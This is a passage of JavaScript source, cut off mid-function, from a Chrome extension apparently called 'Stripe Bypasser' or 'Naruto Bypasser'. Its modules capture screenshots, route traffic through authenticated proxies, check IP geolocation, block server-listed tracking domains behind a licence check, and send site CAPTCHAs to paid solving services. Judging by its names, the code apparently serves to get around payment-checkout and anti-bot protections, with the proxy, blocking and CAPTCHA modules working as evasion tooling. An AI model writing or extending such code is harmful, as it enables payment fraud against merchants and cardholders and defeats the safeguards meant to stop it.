// Expose log handler module
if (typeof self !== "undefined") {
  self.StripeBypasserLogHandler = {
    handlePaymentLog: handlePaymentLog,
    handleBypasserEvent: handleBypasserEvent
  };
}

// ============================================================================
// MODULE 7: SCREENSHOT HANDLER
// Captures and saves tab screenshots
// ============================================================================

const screenshotCooldown = new Map();

/**
 * Handle screenshot capture request
 */
function handleScreenshot(request, sender, callback) {
  let callbackExecuted = false;

  const executeCallback = (result) => {
    if (!callbackExecuted) {
      callbackExecuted = true;
      try {
        callback(result);
      } catch (error) {
        // Ignore callback errors
      }
    }
  };

  const tabId = request.tabId || sender?.tab?.id;

  if (tabId) {
    captureTabScreenshot(tabId, executeCallback);
  } else {
    // Get active tab
    chrome.tabs.query({ active: true, currentWindow: true }, (tabs) => {
      if (tabs && tabs.length > 0) {
        captureTabScreenshot(tabs[0].id, executeCallback);
      } else {
        executeCallback({ success: false, error: "No active tab found" });
      }
    });
  }
}

/**
 * Capture screenshot from specific tab
 */
function captureTabScreenshot(tabId, callback) {
  const timestamp = Date.now();
  const lastCapture = screenshotCooldown.get(tabId);

  // Check cooldown (5 seconds)
  if (lastCapture && timestamp - lastCapture < 5000) {
    callback({ success: false, error: "Cooldown active for this tab" });
    return;
  }

  screenshotCooldown.set(tabId, timestamp);
  setTimeout(() => screenshotCooldown.delete(tabId), 10000);

  chrome.tabs.get(tabId, (tab) => {
    if (chrome.runtime.lastError || !tab) {
      callback({ 
        success: false, 
        error: chrome.runtime.lastError?.message || "Tab not found" 
      });
      return;
    }

    // Focus window and tab
    chrome.windows.update(tab.windowId, { focused: true }, () => {
      chrome.tabs.update(tab.id, { active: true }, () => {
        setTimeout(() => {
          chrome.tabs.captureVisibleTab(tab.windowId, { 
            format: "png", 
            quality: 100 
          }, (dataUrl) => {
            if (chrome.runtime.lastError) {
              callback({ success: false, error: chrome.runtime.lastError.message });
              return;
            }

            if (!dataUrl) {
              callback({ success: false, error: "Capture returned empty" });
              return;
            }

            // Generate filename with timestamp
            const now = new Date();
            const filename = `Naruto_Bypasser_${now.getFullYear()}-${String(now.getMonth() + 1).padStart(2, "0")}-${String(now.getDate()).padStart(2, "0")}_${String(now.getHours()).padStart(2, "0")}-${String(now.getMinutes()).padStart(2, "0")}-${String(now.getSeconds()).padStart(2, "0")}.png`;

            try {
              chrome.downloads.setShelfEnabled(false);
            } catch (error) {
              // Ignore
            }

            chrome.downloads.download({
              url: dataUrl,
              filename: filename,
              saveAs: false,
              conflictAction: "uniquify"
            }, (downloadId) => {
              try {
                chrome.downloads.setShelfEnabled(true);
              } catch (error) {
                // Ignore
              }

              if (chrome.runtime.lastError) {
                try {
                  chrome.downloads.setShelfEnabled(true);
                } catch (error) {}
                callback({ success: false, error: chrome.runtime.lastError.message });
                return;
              }

              // Copy to clipboard (via offscreen document)
              (function copyToClipboard(dataUrl, cb) {
                // Check/create offscreen document
                (function ensureOffscreenDocument(callback) {
                  if (typeof H !== "undefined" && H) {
                    callback(true);
                    return;
                  }

                  try {
                    chrome.runtime.getContexts(
                      { contextTypes: ["OFFSCREEN_DOCUMENT"] },
                      (contexts) => {
                        if (!chrome.runtime.lastError && contexts && contexts.length > 0) {
                          H = true;
                          callback(true);
                        } else {
                          chrome.offscreen.createDocument({
                            url: "offscreen.html",
                            reasons: ["CLIPBOARD"],
                            justification: "Copy screenshot to clipboard"
                          }, () => {
                            if (chrome.runtime.lastError) {
                              if (chrome.runtime.lastError.message?.includes("already exists")) {
                                H = true;
                                callback(true);
                              } else {
                                callback(false);
                              }
                            } else {
                              H = true;
                              callback(true);
                            }
                          });
                        }
                      }
                    );
                  } catch (error) {
                    callback(false);
                  }
                })(offscreenReady => {
                  if (offscreenReady) {
                    try {
                      chrome.runtime.sendMessage(
                        { type: "COPY_TO_CLIPBOARD", dataUrl: dataUrl },
                        () => { /* Ignore response */ }
                      );
                    } catch (error) {
                      // Ignore
                    }
                  }
                  callback();
                });
              })(dataUrl, () => {
                callback({ 
                  success: true, 
                  filename: filename, 
                  downloadId: downloadId, 
                  message: "Screenshot captured and saved" 
                });
              });
            });
          });
        }, 150);
      });
    });
  });
}

let H = false; // Offscreen document flag

// Expose screenshot handler
if (typeof self !== "undefined") {
  self.StripeBypasserScreenshotHandler = {
    handle: handleScreenshot
  };
}

// ============================================================================
// MODULE 8: PROXY HANDLER
// Manages proxy configuration for requests
// ============================================================================

const SUPPORTED_PROXY_SCHEMES = {
  http: true,
  https: true,
  socks4: true,
  socks5: true
};

const DEFAULT_PROXY_PORTS = {
  http: 8080,
  https: 443,
  socks4: 1080,
  socks5: 1080
};

/**
 * Normalize proxy scheme
 */
function normalizeProxyScheme(scheme) {
  const normalized = (scheme || "").toLowerCase().replace(/:$/, "");
  
  if (normalized === "socks") {
    return "socks5";
  }
  
  if (SUPPORTED_PROXY_SCHEMES[normalized]) {
    return normalized;
  }
  
  return null;
}

/**
 * Parse proxy string into components
 * Supports formats:
 * - http://user:pass@host:port
 * - user:pass@host:port
 * - host:port:user:pass
 * - [ipv6]:port
 */
function parseProxyString(proxyString) {
  if (!proxyString || typeof proxyString !== "string") {
    throw new Error("Proxy string is empty or invalid");
  }

  const trimmed = proxyString.trim();
  if (!trimmed) {
    throw new Error("Proxy string is empty");
  }

  let scheme = "http";
  let host = "";
  let port = 0;
  let username = "";
  let password = "";

  // Format: scheme://host:port or scheme://user:pass@host:port
  if (trimmed.includes("://")) {
    try {
      const url = new URL(trimmed);
      const normalizedScheme = normalizeProxyScheme(url.protocol);
      
      if (!normalizedScheme) {
        throw new Error("Unsupported proxy scheme: " + url.protocol.replace(":", ""));
      }

      scheme = normalizedScheme;
      host = url.hostname;
      port = parseInt(url.port, 10) || DEFAULT_PROXY_PORTS[scheme] || 8080;
      username = decodeURIComponent(url.username || "");
      password = decodeURIComponent(url.password || "");
    } catch (error) {
      if (error.message?.startsWith("Unsupported")) {
        throw error;
      }
      throw new Error("Invalid proxy URL: " + error.message);
    }
  }
  // Format: [ipv6]:port
  else if (trimmed.startsWith("[")) {
    const ipv6Match = trimmed.match(/^\[([^\]]+)\]:(\d+)$/);
    if (!ipv6Match) {
      throw new Error("Invalid IPv6 proxy format — expected [addr]:port");
    }
    host = ipv6Match[1];
    port = parseInt(ipv6Match[2], 10) || 8080;
  }
  // Format: user:pass@host:port
  else if (trimmed.indexOf("@") > 0) {
    const atIndex = trimmed.indexOf("@");
    const authPart = trimmed.substring(0, atIndex);
    const hostPart = trimmed.substring(atIndex + 1);

    const colonIndex = authPart.indexOf(":");
    if (colonIndex > 0) {
      username = authPart.substring(0, colonIndex);
      password = authPart.substring(colonIndex + 1);
    } else {
      username = authPart;
    }

    const lastColonIndex = hostPart.lastIndexOf(":");
    if (lastColonIndex <= 0) {
      throw new Error("Invalid proxy format — expected user:pass@host:port");
    }

    host = hostPart.substring(0, lastColonIndex);
    port = parseInt(hostPart.substring(lastColonIndex + 1), 10);
  }
  // Format: host:port or host:port:username:password
  else {
    const parts = trimmed.split(":");

    if (parts.length === 2) {
      host = parts[0];
      port = parseInt(parts[1], 10);
    } else if (parts.length === 3) {
      const normalizedScheme = normalizeProxyScheme(parts[0]);
      if (normalizedScheme) {
        scheme = normalizedScheme;
        host = parts[1];
        port = parseInt(parts[2], 10);
      } else {
        host = parts[0];
        port = parseInt(parts[1], 10);
        username = parts[2];
      }
    } else if (parts.length >= 4) {
      // Determine if first part is scheme or host
      const isFirstPartHost = parts[0].includes(".") || /^\d+$/.test(parts[0]);
      const isSecondPartPort = /^\d+$/.test(parts[1]) && 
                               parseInt(parts[1], 10) >= 1 && 
                               parseInt(parts[1], 10) <= 65535;

      if (isFirstPartHost && isSecondPartPort) {
        host = parts[0];
        port = parseInt(parts[1], 10);
        username = parts[2];
        password = parts.slice(3).join(":");
      } else {
        // Last part is port
        const lastPort = parseInt(parts[parts.length - 1], 10);
        const secondLastIsHost = parts[parts.length - 2]?.includes(".") || 
                                /^\d+$/.test(parts[parts.length - 2]);

        if (secondLastIsHost && lastPort >= 1 && lastPort <= 65535) {
          username = parts[0];
          password = parts.slice(1, parts.length - 2).join(":");
          host = parts[parts.length - 2];
          port = lastPort;
        } else {
          host = parts[0];
          port = parseInt(parts[1], 10);
          username = parts[2];
          password = parts.slice(3).join(":");
        }
      }
    } else {
      throw new Error("Invalid proxy format — expected host:port");
    }
  }

  // Validate parsed values
  if (!host) {
    throw new Error("Proxy host is missing");
  }

  if (!port || isNaN(port) || port < 1 || port > 65535) {
    throw new Error("Proxy port is invalid: " + port);
  }

  return {
    scheme: scheme,
    host: host,
    port: port,
    username: username,
    password: password
  };
}

/**
 * Create Chrome proxy config object
 */
function createProxyConfig(proxyData) {
  return {
    mode: "fixed_servers",
    rules: {
      singleProxy: {
        scheme: proxyData.scheme,
        host: proxyData.host,
        port: proxyData.port
      },
      bypassList: ["localhost", "127.0.0.1", "::1", "<local>"]
    }
  };
}

// Auth request listener
let authListener = null;

/**
 * Setup proxy authentication listener
 */
function setupProxyAuth(proxyData) {
  if (proxyData.username && chrome.webRequest && chrome.webRequest.onAuthRequired) {
    cleanupProxyAuth();
    
    authListener = (details) => {
      if (details.isProxy) {
        return {
          authCredentials: {
            username: proxyData.username,
            password: proxyData.password
          }
        };
      }
    };

    chrome.webRequest.onAuthRequired.addListener(
      authListener,
      { urls: ["<all_urls>"] },
      ["blocking"]
    );
  }
}

/**
 * Cleanup proxy auth listener
 */
function cleanupProxyAuth() {
  if (authListener && chrome.webRequest && chrome.webRequest.onAuthRequired) {
    try {
      chrome.webRequest.onAuthRequired.removeListener(authListener);
    } catch (error) {
      // Ignore
    }
    authListener = null;
  }
}

/**
 * Apply proxy configuration
 */
function handleApplyProxy(request, callback) {
  const proxyString = request.proxy || request.settings?.proxy;

  if (!proxyString || !proxyString.trim()) {
    callback({ success: true, applied: false, reason: "No proxy configured" });
    return true;
  }

  if (!chrome.proxy || !chrome.proxy.settings) {
    callback({ success: false, error: "chrome.proxy API is not available" });
    return true;
  }

  try {
    const proxyData = parseProxyString(proxyString);
    const proxyConfig = createProxyConfig(proxyData);

    chrome.proxy.settings.set({ value: proxyConfig, scope: "regular" }, () => {
      if (chrome.runtime.lastError) {
        const errorMessage = chrome.runtime.lastError.message || "Unknown Chrome proxy error";
        console.error("[ProxyHandler] Failed to set proxy:", errorMessage);
        callback({ success: false, error: errorMessage });
      } else {
        setupProxyAuth(proxyData);
        console.log("[ProxyHandler] Proxy applied:", 
          `${proxyData.scheme}://${proxyData.host}:${proxyData.port}`);
        callback({ 
          success: true, 
          applied: true, 
          proxy: {
            scheme: proxyData.scheme,
            host: proxyData.host,
            port: proxyData.port,
            hasAuth: !!proxyData.username
          }
        });
      }
    });
  } catch (error) {
    callback({ success: false, error: error.message });
  }

  return true;
}

/**
 * Clear proxy configuration
 */
function handleClearProxy(request, callback) {
  cleanupProxyAuth();

  if (chrome.proxy && chrome.proxy.settings) {
    chrome.proxy.settings.clear({ scope: "regular" }, () => {
      if (chrome.runtime.lastError) {
        callback({ success: false, error: chrome.runtime.lastError.message });
      } else {
        console.log("[ProxyHandler] Proxy cleared");
        callback({ success: true });
      }
    });
    return true;
  }

  callback({ success: true });
  return true;
}

/**
 * Validate proxy string
 */
function handleValidateProxy(request, callback) {
  const proxyString = request.proxy || "";

  if (!proxyString.trim()) {
    callback({ valid: false, error: "No proxy string provided" });
    return false;
  }

  try {
    const proxyData = parseProxyString(proxyString);
    callback({ 
      valid: true, 
      proxy: {
        scheme: proxyData.scheme,
        host: proxyData.host,
        port: proxyData.port,
        hasAuth: !!proxyData.username
      }
    });
  } catch (error) {
    callback({ valid: false, error: error.message });
  }

  return false;
}

/**
 * Fetch with timeout
 */
async function fetchWithTimeout(url, timeoutMs) {
  const controller = new AbortController();
  const timeoutId = setTimeout(() => controller.abort(), timeoutMs);

  try {
    const response = await fetch(url, { 
      cache: "no-store", 
      signal: controller.signal 
    });

    if (!response.ok) {
      throw new Error("HTTP " + response.status);
    }

    return await response.json();
  } finally {
    clearTimeout(timeoutId);
  }
}

/**
 * Extract IP from response
 */
function extractIpFromResponse(response) {
  if (response && typeof response === "object" && 
      (response.ip || response.query || response.address)) {
    return response.ip || response.query || response.address || "";
  }
  return "";
}

/**
 * Get country from IP
 */
function handleGetIpCountry(request, callback) {
  const ipServices = [
    { url: "https://ipapi.co/json/", extract: (data) => data.country_code || data.country },
    { url: "https://ip-api.com/json/", extract: (data) => data.countryCode || data.country },
    { url: "https://api.country.is/", extract: (data) => data.country },
    { url: "https://ipinfo.io/json", extract: (data) => data.country }
  ];

  (async () => {
    for (const service of ipServices) {
      try {
        const countryCode = service.extract(await fetchWithTimeout(service.url, 3000));
        if (countryCode && typeof countryCode === "string") {
          const normalizedCode = countryCode.toUpperCase().substring(0, 2);
          if (/^[A-Z]{2}$/.test(normalizedCode)) {
            callback({ success: true, countryCode: normalizedCode });
            return;
          }
        }
      } catch (error) {
        // Try next service
      }
    }
    callback({ success: false, error: "Unable to detect country from IP" });
  })();

  return true;
}

/**
 * Get public IP address
 */
function handleGetPublicIp(request, callback) {
  const ipServices = [
    "https://api64.ipify.org?format=json",
    "https://api.ipify.org?format=json"
  ];

  (async () => {
    for (const url of ipServices) {
      try {
        const ip = extractIpFromResponse(await fetchWithTimeout(url, 4500));
        if (ip && typeof ip === "string") {
          callback({ success: true, ip: ip });
          return;
        }
      } catch (error) {
        // Try next service
      }
    }
    callback({ success: false, error: "Unable to resolve public IP" });
  })();

  return true;
}

/**
 * Reload settings across all tabs
 */
function handleSettingsUpdate(request, callback) {
  chrome.tabs.query({}, (tabs) => {
    tabs.forEach(tab => {
      if (tab.url) {
        if (tab.url.startsWith("chrome://") || tab.url.startsWith("chrome-extension://")) {
          if (tab.url.startsWith("chrome-extension://")) {
            chrome.tabs.sendMessage(tab.id, { type: "RELOAD_SETTINGS" })
              .catch(() => {});
          }
        } else {
          chrome.tabs.sendMessage(tab.id, { type: "RELOAD_SETTINGS" })
            .catch(() => {});
        }
      }
    });
  });

  // Refresh storage
  if (request.settings || request.advancedSettings) {
    setTimeout(() => {
      chrome.storage.local.get(["bypasserSettings", "bypasserAdvancedSettings"], () => {});
    }, 50);
  }

  callback({ success: true });
}

// Re-apply proxy on startup
function reapplyProxyFromStorage() {
  if (chrome.proxy && chrome.proxy.settings) {
    chrome.storage.local.get(["bypasserSettings"], (result) => {
      if (chrome.runtime.lastError) return;

      const settings = result?.bypasserSettings || {};
      const proxyString = settings.proxy;

      if (proxyString && proxyString.trim() && settings.enabled !== false) {
        try {
          const proxyData = parseProxyString(proxyString);
          const proxyConfig = createProxyConfig(proxyData);

          chrome.proxy.settings.set({ value: proxyConfig, scope: "regular" }, () => {
            if (chrome.runtime.lastError) {
              console.error("[ProxyHandler] Startup proxy re-apply failed:", 
                chrome.runtime.lastError.message);
            } else {
              setupProxyAuth(proxyData);
              console.log("[ProxyHandler] Proxy re-applied on startup:", 
                `${proxyData.scheme}://${proxyData.host}:${proxyData.port}`);
            }
          });
        } catch (error) {
          console.error("[ProxyHandler] Startup proxy parse error:", error.message);
        }
      }
    });
  }
}

// Expose proxy handler module
if (typeof self !== "undefined") {
  self.StripeBypasserProxyHandler = {
    handleApply: handleApplyProxy,
    handleClear: handleClearProxy,
    handleValidate: handleValidateProxy,
    handleGetPublicIp: handleGetPublicIp,
    handleGetIpCountry: handleGetIpCountry,
    reapplyFromStorage: reapplyProxyFromStorage,
    parseProxyString: parseProxyString
  };

  self.StripeBypasserSettingsHandler = {
    handle: handleSettingsUpdate
  };
}

// ============================================================================
// MODULE 9: LICENSE & ANALYTICS PROTECTION
// License validation, encryption, and anti-tampering
// ============================================================================

const RULE_ID_START = 50000;
const RULE_ID_END = 51999;
const ANALYTICS_BLOCKED_EVENTS_KEY = "analyticsBlockedEvents";
const ANALYTICS_RULES_CACHE_KEY = "analyticsRulesCache";
const ANALYTICS_RULES_VERSION = "analytics-rules-v1";

// ECDSA P-256 public key for signature verification
const LICENSE_PUBLIC_KEY = {
  key_ops: ["verify"],
  ext: true,
  kty: "EC",
  x: "OVz_m-SpW1oInxxH0ISxlZH1_YucfC2nYIjrMWPFtEQ",
  y: "y5_4GRMUWve9eDanrmzjuACDlksJax-yDPKKquhRMjM",
  crv: "P-256"
};

let appliedRulesHash = "";
let analyticsProtectionEnabled = false;

/**
 * Normalize domain string
 */
function normalizeDomain(domain) {
  if (!Array.isArray(domain)) return [];

  const normalized = domain
    .filter(d => typeof d === "string")
    .map(d => d.trim().toLowerCase()
      .replace(/^https?:\/\//, "")
      .replace(/^www\./, "")
      .replace(/\/+$/, ""))
    .filter(Boolean);

  return Array.from(new Set(normalized));
}

/**
 * Clear all dynamic rules
 */
async function clearDynamicRules() {
  const rules = await chrome.declarativeNetRequest.getDynamicRules();
  const ruleIds = rules
    .filter(rule => rule.id >= RULE_ID_START && rule.id <= RULE_ID_END)
    .map(rule => rule.id);

  if (ruleIds.length > 0) {
    await chrome.declarativeNetRequest.updateDynamicRules({ 
      removeRuleIds: ruleIds 
    });
  }

  appliedRulesHash = "";
}

/**
 * Apply analytics protection rules
 */
async function applyAnalyticsProtection(options = {}) {
  const { 
    relayUrl = "", 
    forceRuleRefresh = false 
  } = options;

  // Load stored data
  const stored = await chrome.storage.local.get([
    "bypasserSettings",
    "dbLicense",
    "dbLicenseSession",
    "dbLicenseServerValidatedAt",
    ANALYTICS_RULES_CACHE_KEY
  ]);

  const analyticsProtectionEnabled = !!(stored.bypasserSettings || {}).analyticsProtection;
  
  // Validate license
  const isLicenseValid = function(license) {
    if (!license || !license.valid) return false;
    if (license.expiresAt) {
      const expiryDate = new Date(license.expiresAt);
      if (!Number.isNaN(expiryDate.getTime()) && expiryDate < new Date) {
        return false;
      }
    }
    return true;
  }(stored.dbLicense);

  // Clear rules if protection disabled or license invalid
  if (!analyticsProtectionEnabled || !isLicenseValid) {
    await clearDynamicRules();
    return { active: false, reason: analyticsProtectionEnabled ? "unlicensed" : "disabled" };
  }

  // Validate session
  const session = stored.dbLicenseSession;
  if (!session || 
      typeof session.sessionId !== "string" || 
      !session.sessionId || 
      typeof session.accessToken !== "string" || 
      !session.accessToken) {
    await clearDynamicRules();
    return { active: false, reason: "missing-session" };
  }

  // Check server validation timestamp
  const lastValidatedAt = typeof stored.dbLicenseServerValidatedAt === "number" 
    ? stored.dbLicenseServerValidatedAt 
    : 0;

  if (!lastValidatedAt || Date.now() - lastValidatedAt > 2100000) { // 35 minutes
    await clearDynamicRules();
    return { active: false, reason: "server-validation-stale" };
  }

  // Get cached rules
  let rulesCache = stored[ANALYTICS_RULES_CACHE_KEY] || null;

  // Check if cache needs refresh (6 hours)
  const needsRefresh = forceRuleRefresh || function(cache) {
    if (!cache || !cache.fetchedAt) return true;
    const fetchedAt = new Date(cache.fetchedAt).getTime();
    return Number.isNaN(fetchedAt) || Date.now() - fetchedAt > 21600000;
  }(rulesCache);

  if (needsRefresh) {
    // Fetch new rules from relay server
    const fetchResult = await async function(relayUrl, session) {
      if (!relayUrl || !session || !session.accessToken || !session.sessionId) {
        return { ok: false, status: 0 };
      }

      try {
        const response = await fetch(`${relayUrl}/analytics/rules`, {
          method: "GET",
          headers: {
            Authorization: `Bearer ${session.accessToken}`,
            "X-DB-Session": session.sessionId
          }
        });

        if (response.status === 403) {
          return { ok: false, status: 403 };
        }

        if (!response.ok) {
          return { ok: false, status: response.status };
        }

        const data = await response.json();
        const domains = normalizeDomain(data?.domains);

        if (!domains.length) {
          return { ok: false, status: 0 };
        }

        if (data.sessionId !== session.sessionId) {
          return { ok: false, status: 0 };
        }

        if (!data.expiresAt || new Date(data.expiresAt).getTime() <= Date.now()) {
          return { ok: false, status: 0 };
        }

        // Verify signature
        const signatureValid = await async function(signatureData) {
          if (!signatureData || 
              signatureData.keyId !== ANALYTICS_RULES_VERSION || 
              !signatureData.signature) {
            return false;
          }

          // Decode base64url signature
          const decodeBase64Url = (base64Url) => {
            if (!base64Url || typeof base64Url !== "string") return null;
            const padding = (4 - base64Url.length % 4) % 4;
            const base64 = (base64Url + "=".repeat(padding))
              .replace(/-/g, "+")
              .replace(/_/g, "/");
            try {
              const binary = atob(base64);
              const bytes = new Uint8Array(binary.length);
              for (let i = 0; i < binary.length; i++) {
                bytes[i] = binary.charCodeAt(i);
              }
              return bytes;
            } catch {
              return null;
            }
          };

          const signature = decodeBase64Url(signatureData.signature);
          if (!signature) return false;

          try {
            // Import public key
            const publicKey = await crypto.subtle.importKey(
              "jwk",
              LICENSE_PUBLIC_KEY,
              { name: "ECDSA", namedCurve: "P-256" },
              false,
              ["verify"]
            );

            // Create message to verify
            const encodeMessage = (data) => {
              const domains = Array.isArray(data.domains) 
                ? data.domains.join(", ") 
                : "";
              return [
                data.version || "",
                domains,
                data.issuedAt || "",
                data.expiresAt || "",
                data.sessionId || "",
                data.keyId || ""
              ].join("\n");
            };

            const message = new TextEncoder().encode(encodeMessage(signatureData));

            // Verify signature
            return await crypto.subtle.verify(
              { name: "ECDSA", hash: "SHA-256" },
              publicKey,
              signature,
              message
            );
          } catch {
            return false;
          }
        }(data);

        if (!signatureValid) {
          return { ok: false, status: 0 };
        }

        // Cache validated rules
        const cacheData = {
          version: data.version || `v-${Date.now()}`,
          domains: domains,
          fetchedAt: new Date().toISOString(),
          trusted: true,
          keyId: data.keyId,
          sessionId: data.sessionId,
          expiresAt: data.expiresAt
        };

        await chrome.storage.local.set({ [ANALYTICS_RULES_CACHE_KEY]: cacheData });
        return { ok: true, cache: cacheData };
      } catch {
        return { ok: false, status: 0 };
      }
    }(relayUrl || RELAY_SERVER_URL, stored.dbLicenseSession);

    if (!fetchResult.ok) {
      await clearDynamicRules();

      if (fetchResult.status === 403) {
        // Disable analytics protection on 403
        const settings = stored.bypasserSettings || {};
        settings.analyticsProtection = false;
        await chrome.storage.local.set({ bypasserSettings: settings });
        return { active: false, reason: "plan-restricted", serverRejected: true };
      }

      return { active: false, reason: "rules-fetch-failed" };
    }

    rulesCache = fetchResult.cache;
  }

  // Validate cache
  const isCacheValid = function(cache, session) {
    if (!cache || cache.trusted !== true || !cache.fetchedAt) return false;
    if (!session || cache.sessionId !== session.sessionId) return false;
    if (!cache.expiresAt || new Date(cache.expiresAt).getTime() <= Date.now()) return false;
    if (cache.keyId !== ANALYTICS_RULES_VERSION) return false;

    const fetchedAt = new Date(cache.fetchedAt).getTime();
    return !Number.isNaN(fetchedAt) && Date.now() - fetchedAt <= 600000; // 10 minutes
  }(rulesCache, stored.dbLicenseSession) && 
  Array.isArray(rulesCache.domains) && 
  rulesCache.domains.length > 0;

  if (!isCacheValid) {
    await clearDynamicRules();
    return { active: false, reason: "unverified-or-stale-rule-source" };
  }

  const domains = normalizeDomain(rulesCache.domains);
  if (!domains.length) {
    await clearDynamicRules();
    return { active: false, reason: "empty-rules" };
  }

  // Apply blocking rules
  const applyResult = await async function(domains) {
    const createRules = (domainList) => {
      return normalizeDomain(domainList).map((domain, index) => ({
        id: RULE_ID_START + index,
        priority: 1,
        action: { type: "block" },
        condition: {
          urlFilter: `||${domain}^`,
          resourceTypes: [
            "script",
            "xmlhttprequest",
            "sub_frame",
            "image",
            "ping",
            "websocket",
            "other"
          ]
        }
      }));
    };

    const rules = createRules(domains).slice(0, 2000);
    const rulesHash = JSON.stringify(rules.map(rule => 
      `${rule.id}:${rule.condition.urlFilter}`
    ));

    if (rulesHash === appliedRulesHash) {
      return { applied: false, reason: "unchanged" };
    }

    // Remove old rules
    const existingRules = await chrome.declarativeNetRequest.getDynamicRules();
    const existingRuleIds = existingRules
      .filter(rule => rule.id >= RULE_ID_START && rule.id <= RULE_ID_END)
      .map(rule => rule.id);

    await chrome.declarativeNetRequest.updateDynamicRules({
      removeRuleIds: existingRuleIds,
      addRules: rules
    });

    appliedRulesHash = rulesHash;
    return { applied: true, count: rules.length };
  }(domains);

  return {
    active: true,
    domains: domains.length,
    ruleResult: applyResult
  };
}

/**
 * Disable analytics protection
 */
async function disableAnalyticsProtection() {
  await clearDynamicRules();
  return { active: false };
}

// Developer support addresses (crypto wallets)
const DEVELOPER_SUPPORT = {
  binanceId: "211631455",
  usdtTrc20: "TThsNyTJADb9gg7yHC1USwBCw5b1DXeaYJ",
  ltcAddress: "LhDwqxZSJYV5A8Pm7cMdLQDdfpaY2dw"
};

// Expose analytics module
if (typeof self !== "undefined") {
  self.StripeBypasserAnalyticsProtection = {
    apply: applyAnalyticsProtection,
    disable: disableAnalyticsProtection
  };
}

// ============================================================================
// MODULE 10: CAPTCHA SOLVER
// Integration with multiple captcha solving services
// ============================================================================

const CAPTCHA_SERVICES = {
  "2captcha": {
    name: "2Captcha",
    inUrl: "https://2captcha.com/in.php",
    resUrl: "https://2captcha.com/res.php",
    balanceUrl: "https://2captcha.com/res.php?key={key}&action=getbalance&json=1"
  },
  anticaptcha: {
    name: "AntiCaptcha",
    inUrl: "https://api.anti-captcha.com/createTask",
    resUrl: "https://api.anti-captcha.com/getTaskResult",
    balanceUrl: "https://api.anti-captcha.com/getBalance"
  },
  capsolver: {
    name: "CapSolver",
    inUrl: "https://api.capsolver.com/createTask",
    resUrl: "https://api.capsolver.com/getTaskResult",
    balanceUrl: "https://api.capsolver.com/getBalance"
  },
  nocaptchaai: {
    name: "NoCaptchaAI",
    inUrl: "https://api.nocaptchaai.com/solve",
    resUrl: "https://api.nocaptchaai.com/result",
    balanceUrl: "https://api.nocaptchaai.com/balance"
  },
  nopecha: {
    name: "NopeCHA",
    inUrl: "https://api.nopecha.com/token/",
    resUrl: "https://api.nopecha.com/token/",
    balanceUrl: "https://api.nopecha.com/v1/status"
  }
};

// Active captcha tasks
const activeCaptchaTasks = new Map();
let captchaTaskCounter = 0;

/**
 * Fetch via content script proxy (bypasses CORS)
 */
function fetchViaProxy(url, options = {}) {
  return new Promise((resolve, reject) => {
    const requestId = `captcha_proxy${++captchaTaskCounter}_${Date.now()}`;
    let completed = false;

    const timeout = setTimeout(() => {
      if (!completed) {
        completed = true;
        window.removeEventListener("message", messageHandler);
        console.warn("[DB CaptchaSolver] Proxy timeout, falling back to direct fetch for", url);
        fetch(url, options).then(resolve).catch(reject);
      }
    }, 8000);

    function messageHandler(event) {
      if (!event.data || 
          event.data.type !== "STRIPE_BYPASSER_CAPTCHA_API_PROXY_RESPONSE") {
        return;
      }
      if (event.data.requestId !== requestId) return;
      if (completed) return;

      completed = true;
      clearTimeout(timeout);
      window.removeEventListener("message", messageHandler);

      if (!event.data.success) {
        console.warn("[DB CaptchaSolver] Proxy error, falling back to direct fetch:", 
          event.data.error);
        fetch(url, options).then(resolve).catch(reject);
        return;
      }

      const responseText = event.data.body || "";
      const responseJson = event.data.json;

      resolve({
        ok: event.data.status >= 200 && event.data.status < 300,
        status: event.data.status,
        statusText: event.data.statusText,
        json: () => Promise.resolve(responseJson !== null ? responseJson : JSON.parse(responseText)),
        text: () => Promise.resolve(responseText)
      });
    }

    window.addEventListener("message", messageHandler);

    window.postMessage({
      type: "STRIPE_BYPASSER_CAPTCHA_API_PROXY",
      requestId: requestId,
      url: url,
      method: (options.method || "GET").toUpperCase(),
      headers: options.headers || {},
      body: options.body || null
    }, "*");
  });
}

/**
 * Submit captcha to solving service
 */
async function submitCaptcha(apiKey, captchaData, service = "2captcha") {
  if (!apiKey || !captchaData || !captchaData.sitekey) {
    throw new Error("Missing required parameters: apiKey and captcha.sitekey");
  }

  const serviceConfig = CAPTCHA_SERVICES[service] || CAPTCHA_SERVICES["2captcha"];
  const pageUrl = typeof window !== "undefined" ? window.location.href : "";

  try {
    // 2Captcha
    if (service === "2captcha") {
      let submitUrl = `${serviceConfig.inUrl}?key=${encodeURIComponent(apiKey)}` +
        `&method=userrecaptcha` +
        `&googlekey=${encodeURIComponent(captchaData.sitekey)}` +
        `&pageurl=${encodeURIComponent(pageUrl)}` +
        `&json=1`;

      if (captchaData.type === "hcaptcha") {
        submitUrl = `${serviceConfig.inUrl}?key=${encodeURIComponent(apiKey)}` +
          `&method=hcaptcha` +
          `&sitekey=${encodeURIComponent(captchaData.sitekey)}` +
          `&pageurl=${encodeURIComponent(pageUrl)}` +
          `&json=1`;
      } else if (captchaData.type === "turnstile") {
        submitUrl = `${serviceConfig.inUrl}?key=${encodeURIComponent(apiKey)}` +
          `&method=turnstile` +
          `&sitekey=${encodeURIComponent(captchaData.sitekey)}` +
          `&pageurl=${encodeURIComponent(pageUrl)}` +
          `&json=1`;
      } else if (captchaData.type === "recaptcha_v3") {
        const action = captchaData.action || "submit";
        submitUrl = `${serviceConfig.inUrl}?key=${encodeURIComponent(apiKey)}` +
          `&method=userrecaptcha` +
          `&version=v3` +
          `&action=${encodeURIComponent(action)}` +
          `&googlekey=${encodeURIComponent(captchaData.sitekey)}` +
          `&pageurl=${encodeURIComponent(pageUrl)}` +
          `&json=1`;
      }

      const response = await fetchViaProxy(submitUrl);
      const result = await response.json();

      if (result.status === 1 && result.request) {
        return result.request;
      }

      throw new Error(result.request || "Failed to submit captcha");
    }

    // AntiCaptcha
    if (service === "anticaptcha") {
      const taskData = {
        type: captchaData.type === "hcaptcha" ? "HCaptchaTaskProxyless" :
              captchaData.type === "turnstile" ? "TurnstileTaskProxyless" :
              captchaData.type === "recaptcha_v3" ? "RecaptchaV3TaskProxyless" :
              "RecaptchaV2TaskProxyless",
        websiteURL: pageUrl,
        websiteKey: captchaData.sitekey
      };

      if (captchaData.type === "recaptcha_v3") {
        taskData.action = captchaData.action || "submit";
        taskData.minScore = 0.3;
      }

      const response = await fetchViaProxy(serviceConfig.inUrl, {
        method: "POST",
        headers: { "Content-Type": "application/json" },
        body: JSON.stringify({
          clientKey: apiKey,
          task: taskData
        })
      });

      const result = await response.json();

      if (result.errorId === 0 && result.taskId) {
        return result.taskId;
      }

